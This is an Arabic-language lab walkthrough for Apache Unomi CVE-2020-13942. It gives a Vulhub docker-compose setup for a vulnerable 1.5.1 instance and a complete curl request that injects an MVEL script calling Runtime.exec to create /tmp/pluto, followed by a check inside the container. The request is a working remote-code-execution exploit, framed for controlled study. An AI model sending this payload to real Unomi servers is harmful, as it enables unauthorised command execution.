
# بيئة مختبر خطوة بخطوة واستغلال لثغرة Apache Unomi CVE-2020-13942، مع توضيح حقن لغة تعبيرات MVEL المؤدي إلى تنفيذ التعليمات البرمجية عن بُعد.
تسمح هذه الثغرة بتنفيذ أوامر تعسفية على الأنظمة التي تشغّل Apache Unomi الإصدار 1.5.1، عبر استغلال حقن لغة التعبير MVEL.
GitHub - Vulhub - Unomi CVE-2020-13942
docker-compose.yml)version: '2'
services:
web:
image: vulhub/unomi:1.5.1
ports:
- "9443:9443"
- "8181:8181"
environment:
- UNOMI_ELASTICSEARCH_ADDRESSES=elasticsearch:9200
depends_on:
- elasticsearch
elasticsearch:
image: elasticsearch:7.9.3
environment:
- cluster.name=contextElasticSearch
- discovery.type=single-node
- "ES_JAVA_OPTS=-Xms512m -Xmx512m"
- bootstrap.memory_lock=true
قم بتشغيل الحاويات باستخدام الأمر التالي:
docker compose up -d
أرسل الطلب POST التالي باستخدام curl:
curl -X POST http://localhost:8181/context.json \
-H "Accept-Encoding: gzip, deflate" \
-H "Accept: */*" \
-H "Accept-Language: en" \
-H "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.132 Safari/537.36" \
-H "Connection: close" \
-H "Content-Type: application/json" \
-d '{
"filters": [
{
"id": "sample",
"filters": [
{
"condition": {
"parameterValues": {
"": "script::Runtime r = Runtime.getRuntime(); r.exec(\"touch /tmp/pluto\");"
},
"type": "profilePropertyCondition"
}
}
]
}
],
"sessionId": "sample"
}'
ادخل إلى الحاوية للتحقق من إنشاء الملف:
docker exec -it af7de05fc47e ls /tmp
تحقق من وجود الملف pluto:
hsperfdata_root pluto
إذا كان الملف pluto موجودًا، فهذا يعني أن الاستغلال نجح.
تسمح هذه الثغرة بتنفيذ أوامر تعسفية. استخدم هذه الاختبارات فقط في بيئات خاضعة للتحكم ولأغراض الدراسة أو التحقق. استغلال الثغرات في بيئات غير مصرح بها غير قانوني.